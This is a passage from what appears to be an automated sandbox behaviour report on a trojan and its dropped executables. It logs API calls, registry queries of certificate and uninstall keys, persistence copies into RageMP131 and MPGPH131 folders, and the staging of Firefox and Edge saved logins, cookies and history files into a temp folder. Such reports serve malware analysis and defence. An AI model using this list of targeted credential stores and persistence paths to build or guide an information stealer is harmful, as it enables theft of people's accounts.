called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000030c8cf0038cf7f773c24d3009cc8cf0001000000f023d3003c24d300f023d300040000000400000000e03476001000009cc8cf0001000000f023d300cd977f779c977f771eae840db50f2b76f023d30000007f77000000005c1a65750000000080ee31760100000000000000f8e23476000000000400000080a9147448403376f8e23476a0c8cf0080e849761802d40080e849769cc8cf000000000080e8497600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000e6210707fc210707 (UID: 00000000-00007764) "974c9.Trojan.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000c6480707de480707 (UID: 00000000-00007764) "974c9.Trojan.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000003e2f0e07522f0e07 (UID: 00000000-00007764) "974c9.Trojan.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000664407077e440707 (UID: 00000000-00007764) "974c9.Trojan.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000861507079c150707 (UID: 00000000-00007764) "974c9.Trojan.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000001e41070736410707 (UID: 00000000-00007764) "974c9.Trojan.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000be3c0707d63c0707 (UID: 00000000-00007764)30:T2516,"974c9.Trojan.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000000000000000000000000000000000001e133c0173003c016cfecf00a0003c0120fecf001cb33c010f00000030323c0100000000100000001cb33c010f00000030323c01a00c3c0106000000020e3c01060000005a0e3c01012d3c01a24c3c016cfecf00210e3c0178fecf0078045b051cb33c010f00000006000000a1523c01 (UID: 00000000-00007764) "974c9.Trojan.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000a0280120fecf00601936018e0000008eba28018fa228016cfecf00bca2280120fecf00601936018e000000c40429014000000010000000601936018e000000c4042901b4b128010600000072b5280106000000cab52801010029019e5229016cfecf0091b5280178fecf001800a705601936018e00000006000000e5582901 (UID: 00000000-00007764) "974c9.Trojan.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000fecf00bca2280178fecf008ce03c0132623c01a3623c010080e8001fb03c01020200008ce03c0100802801d8fecf009cfecf000080e800746e34012cad04b6202fab05dc5c0000e0fecf0091b5280132623c01a3623c010080e8008ce03c010080280140ffcf00dcfecf000080e800d80838012cad04b6202fab0512020000 (UID: 00000000-00007764) "974c9.Trojan.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000010000000001000001d033e100d033e100020000005ce103079b00000000000000d833e100b041e100f0a41c01c4000101feffffffa7a61c010887d3005acb1c0100000004000000009b000000000000000887d3001b0000001b0000009b0000001b00000038e203074800040704e40307506a8277fa90c17a (UID: 00000000-00007764) "cjV6Q2vxV7zvCn3KN9LD.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000000000000000000000000000000000001e930a0173800a0138f99f00a0800a01ecf89f001c330b010f00000030b20a0100000000100000001c330b010f00000030b20a01a08c0a0106000000028e0a01060000005a8e0a0101ad0a01a2cc0a0138f99f00218e0a0144f99f00780430051c330b010f00000006000000a1d20a01 (UID: 00000000-00008112) "cjV6Q2vxV7zvCn3KN9LD.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000020f700ecf89f00609904018e0000008e3af7008f22f70038f99f00bc22f700ecf89f00609904018e000000c484f700ee137f7710000000609904018e000000c484f700b431f700060000007235f70006000000ca35f7000180f7009ed2f70038f99f009135f70044f99f0018008a05609904018e00000006000000e5d8f700 (UID: 00000000-00008112) "cjV6Q2vxV7zvCn3KN9LD.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000f99f00bc22f70044f99f008c600b0132e20a01a3e20a010000b7001f300b01020200008c600b010000f700a4f99f0068f99f000000b70074ee0201f626e440302f8e052e5c0000acf99f009135f70032e20a01a3e20a010000b7008c600b010000f7000cfa9f00a8f99f000000b700d8880601f626e440302f8e0502020000 (UID: 00000000-00008112) "HaHIGF310vbb4fU3fDiY.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000080000580f00000d006d00a2000000b1080000a1000000a1080000c9570000000000000000000036a8ffff6d00650000000000b10800000010000000000000e010e5020f00010ee83d000e63006f006e00660069006700750072006100740069006f006e0000006e0065002e0063006f006e0066006900670000000a00000a (UID: 00000000-00007512) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000000000000000000000000000000000001ee31c0173d01c0144f8b800a0d01c01f8f7b8001c831d010f00000030021d0100000000100000001c831d010f00000030021d01a0dc1c010600000002de1c01060000005ade1c0101fd1c01a21c1d0144f8b80021de1c0150f8b80078046d051c831d010f00000006000000a1221d01 (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000700901f8f7b80060e916018e0000008e8a09018f72090144f8b800bc720901f8f7b80060e916018e000000c4d40901400000001000000060e916018e000000c4d40901b4810901060000007285090106000000ca85090101d009019e220a0144f8b8009185090150f8b80018007e0560e916018e00000006000000e5280a01 (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000f8b800bc72090150f8b8008cb01d0132321d01a3321d010050c9001f801d01020200008cb01d0100500901b0f8b80074f8b8000050c900743e15019b5f0a85302f820585340000b8f8b8009185090132321d01a3321d010050c9008cb01d010050090118f9b800b4f8b8000050c900d8d818019b5f0a85302f820516020000 (UID: 00000000-00006224) "explorhe.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000000000000000000000000000000000001e9327017380270160f95d01a080270114f95d011c3328010f00000030b2270100000000100000001c3328010f00000030b22701a08c270106000000028e2701060000005a8e270101ad2701a2cc270160f95d01218e27016cf95d017804ac051c3328010f00000006000000a1d22701 (UID: 00000000-00004036) "explorhe.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000020140114f95d01609921018e0000008e3a14018f22140160f95d01bc22140114f95d01609921018e000000c4841401ee137f7710000000609921018e000000c4841401b4311401060000007235140106000000ca351401018014019ed2140160f95d01913514016cf95d011800be05609921018e00000006000000e5d81401 (UID: 00000000-00004036) "explorhe.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000f95d01bc2214016cf95d018c60280132e22701a3e227010000d4001f302801020200008c60280100001401ccf95d0190f95d010000d40074ee1f0150df8ec3242fc2052e5c0000d4f95d019135140132e22701a3e227010000d4008c6028010000140134fa5d01d0f95d010000d400d888230150df8ec3242fc20512020000 (UID: 00000000-00004036) "explorhe.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000000000000000000000000000000000001e93270173802701c4f98f00a080270178f98f001c3328010f00000030b2270100000000100000001c3328010f00000030b22701a08c270106000000028e2701060000005a8e270101ad2701a2cc2701c4f98f00218e2701d0f98f007804f7041c3328010f00000006000000a1d22701 (UID: 00000000-00007836) "explorhe.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000020140178f98f00609921018e0000008e3a14018f221401c4f98f00bc22140178f98f00609921018e000000c48414014000000010000000609921018e000000c4841401b4311401060000007235140106000000ca351401018014019ed21401c4f98f0091351401d0f98f0018004705609921018e00000006000000e5d81401 (UID: 00000000-00007836) "explorhe.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000fa8f00bc221401d0f98f008c60280132e22701a3e227010000d4001f302801020200008c6028010000140130fa8f00f4f98f000000d40074ee1f0154db207b242f4b052e5c000038fa8f009135140132e22701a3e227010000d4008c6028010000140198fa8f0034fa8f000000d400d888230154db207b242f4b0512020000 (UID: 00000000-00007836) "rdx1122.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000080000580f00000d006d00a2000000b1080000a1000000a1080000c9570000000000000000000036a8ffff6d00650000000000b10800000010000000000000c87cfe020800000814910000786f0003d874fe026e006600690067005c006d0061006300680069006e0065002e0063006f006e0066006900670000006c006c00 (UID: 00000000-00007440) "rdxx1.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000014f3d300dc6cf10200000000000074002e006e00650074005c006600720061006d00650077006f0072006b005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e0066006900670000005d00005d (UID: 00000000-00006352) "explorhe.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000000000000000000000000000000000001e932701738027010cf88f00a0802701c0f78f001c3328010f00000030b2270100000000100000001c3328010f00000030b22701a08c270106000000028e2701060000005a8e270101ad2701a2cc27010cf88f00218e270118f88f0078041d051c3328010f00000006000000a1d22701 (UID: 00000000-00007388) "explorhe.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000201401c0f78f00609921018e0000008e3a14018f2214010cf88f00bc221401c0f78f00609921018e000000c48414014000000010000000609921018e000000c4841401b4311401060000007235140106000000ca351401018014019ed214010cf88f009135140118f88f0018003f05609921018e00000006000000e5d81401 (UID: 00000000-00007388) "explorhe.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000f88f00bc22140118f88f008c60280132e22701a3e227010000d4001f302801020200008c6028010000140178f88f003cf88f000000d40074ee1f014ca43b20242f43052e5c000080f88f009135140132e22701a3e227010000d4008c60280100001401e0f88f007cf88f000000d400d88823014ca43b20242f430516020000 (UID: 00000000-00007388) "explorhe.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000000000000000000000000000000000001e93270173802701e8fb1a00a08027019cfb1a001c3328010f00000030b2270100000000100000001c3328010f00000030b22701a08c270106000000028e2701060000005a8e270101ad2701a2cc2701e8fb1a00218e2701f4fb1a007804ae041c3328010f00000006000000a1d22701 (UID: 00000000-00004032) "explorhe.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000002014019cfb1a00609921018e0000008e3a14018f221401e8fb1a00bc2214019cfb1a00609921018e000000c4841401ee137f7710000000609921018e000000c4841401b4311401060000007235140106000000ca351401018014019ed21401e8fb1a0091351401f4fb1a0018000305609921018e00000006000000e5d81401 (UID: 00000000-00004032) "explorhe.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000fc1a00bc221401f4fb1a008c60280132e22701a3e227010000d4001f302801020200008c6028010000140154fc1a0018fc1a000000d40074ee1f018cd378d9242f07052e5c00005cfc1a009135140132e22701a3e227010000d4008c60280100001401bcfc1a0058fc1a000000d400d88823018cd378d9242f070502020000 (UID: 00000000-00004032)31:T55a,"974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "_cN98WdsB1IEWbc3Zx4D.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "_cN98WdsB1IEWbc3Zx4D.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cjV6Q2vxV7zvCn3KN9LD.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cjV6Q2vxV7zvCn3KN9LD.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "HaHIGF310vbb4fU3fDiY.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2Sz9u8LqhC5hU2hE9Hgc.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "9Ctcn6an256JgA0A8CaB.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "explorhe.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "explorhe.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")32:T85d,"974c9.Trojan.exe" queries volume information of "C:\" at 00000000-00007764-00000C15-39048300 "974c9.Trojan.exe" queries volume information of "C:\" at 00000000-00007764-00000C15-45813186 "HaHIGF310vbb4fU3fDiY.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\jobA4OpGWreR7plfwx\HaHIGF310vbb4fU3fDiY.exe" at 00000000-00007512-00000C15-59050527 "2Sz9u8LqhC5hU2hE9Hgc.exe" queries volume information of "C:\" at 00000000-00006224-00000C15-64583695 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\d887ceb89d\explorhe.exe" at 00000000-00004036-00000C15-69422101 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred64.dll" at 00000000-00004036-00000C15-70313027 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred64.dll" at 00000000-00004036-00000C15-70315067 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip64.dll" at 00000000-00004036-00000C15-71564447 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip64.dll" at 00000000-00004036-00000C15-71566860 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000664001\rdx1122.exe" at 00000000-00004036-00000C15-72378710 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000664001\rdx1122.exe" at 00000000-00004036-00000C15-72381191 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000666001\rdxx1.exe" at 00000000-00004036-00000C15-73601554 "explorhe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000666001\rdxx1.exe" at 00000000-00004036-00000C15-73605506 "rdx1122.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000664001\rdx1122.exe" at 00000000-00007440-00000C15-74756231 "rdxx1.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" at 00000000-00006352-00000C15-7759994333:Ta01,"974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI"; Key: "DISPLAYNAME") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI"; Key: "DISPLAYVERSION") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3"; Key: "DISPLAYNAME") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3"; Key: "DISPLAYVERSION") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER"; Key: "DISPLAYNAME") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX"; Key: "DISPLAYNAME") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DXM_RUNTIME") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DXM_RUNTIME"; Key: "DISPLAYNAME") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\FONTCORE") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\FONTCORE"; Key: "DISPLAYNAME") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE40") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE40"; Key: "DISPLAYNAME") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE4DATA") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE4DATA"; Key: "DISPLAYNAME")34:T8f0,"974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "")35:T51f,"974c9.Trojan.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "974c9.Trojan.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")36:Tc0b,"974c9.Trojan.exe" called "CopyFileA" to copy C:\974c9.Trojan.exe to new location %LOCALAPPDATA%\RageMP131\RageMP131.exe (UID: 00000000-00007764) "974c9.Trojan.exe" called "CopyFileA" to copy C:\974c9.Trojan.exe to new location %ALLUSERSPROFILE%\MPGPH131\MPGPH131.exe (UID: 00000000-00007764) "974c9.Trojan.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/ywzu7870.default\signons.sqlite to new location %TEMP%\jobA4OpGWreR7plfwx\Ei8DrAmaYu9Ksignons.sqlite (UID: 00000000-00007764) "974c9.Trojan.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/ywzu7870.default\formhistory.sqlite to new location %TEMP%\jobA4OpGWreR7plfwx\8ghN89CsjOW1formhistory.sqlite (UID: 00000000-00007764) "974c9.Trojan.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/ywzu7870.default\places.sqlite to new location %TEMP%\jobA4OpGWreR7plfwx\D87fZN3R3jFeplaces.sqlite (UID: 00000000-00007764) "974c9.Trojan.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/ywzu7870.default\cookies.sqlite to new location %TEMP%\jobA4OpGWreR7plfwx\02zdBXl47cvzcookies.sqlite (UID: 00000000-00007764) "974c9.Trojan.exe" called "CopyFileA" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data to new location %TEMP%\jobA4OpGWreR7plfwx\Ei8DrAmaYu9KLogin Data (UID: 00000000-00007764) "974c9.Trojan.exe" called "CopyFileA" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\\Login Data For Account to new location %TEMP%\jobA4OpGWreR7plfwx\8ghN89CsjOW1Login Data For Account (UID: 00000000-00007764) "974c9.Trojan.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/ywzu7870.default\places.sqlite to new location %TEMP%\jobA4OpGWreR7plfwx\3b6N2Xdh3CYwplaces.sqlite (UID: 00000000-00007764) "974c9.Trojan.exe" called "CopyFileA" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data to new location %TEMP%\jobA4OpGWreR7plfwx\D87fZN3R3jFeWeb Data (UID: 00000000-00007764) "974c9.Trojan.exe" called "CopyFileA" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\History to new location %TEMP%\jobA4OpGWreR7plfwx\02zdBXl47cvzHistory (UID: 00000000-00007764) "974c9.Trojan.exe" called "CopyFileA" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data to new location %TEMP%\jobA4OpGWreR7plfwx\3b6N2Xdh3CYwWeb Data (UID: 00000000-00007764) "974c9.Trojan.exe" called "CopyFileA" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\\Cookies to new location %TEMP%\jobA4OpGWreR7plfwx\5lop_S5WM5ERCookies (UID: 00000000-00007764) "974c9.Trojan.exe" called "CopyFileA" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies to new location %TEMP%\jobA4OpGWreR7plfwx\oOPEmFmu_xsJCookies (UID: 00000000-00007764) "974c9.Trojan.exe" called "CopyFileA" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\History to new location %TEMP%\jobA4OpGWreR7plfwx\IWPfiAXUTJTSHistory (UID: 00000000-00007764) "974c9.Trojan.exe" called "CopyFileA" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data to new location %TEMP%\jobA4OpGWreR7plfwx\QdX9ITDLyCRBWeb Data (UID: 00000000-00007764)37:Tbfc,"974c9.Trojan.exe" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\RageMP131 (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with 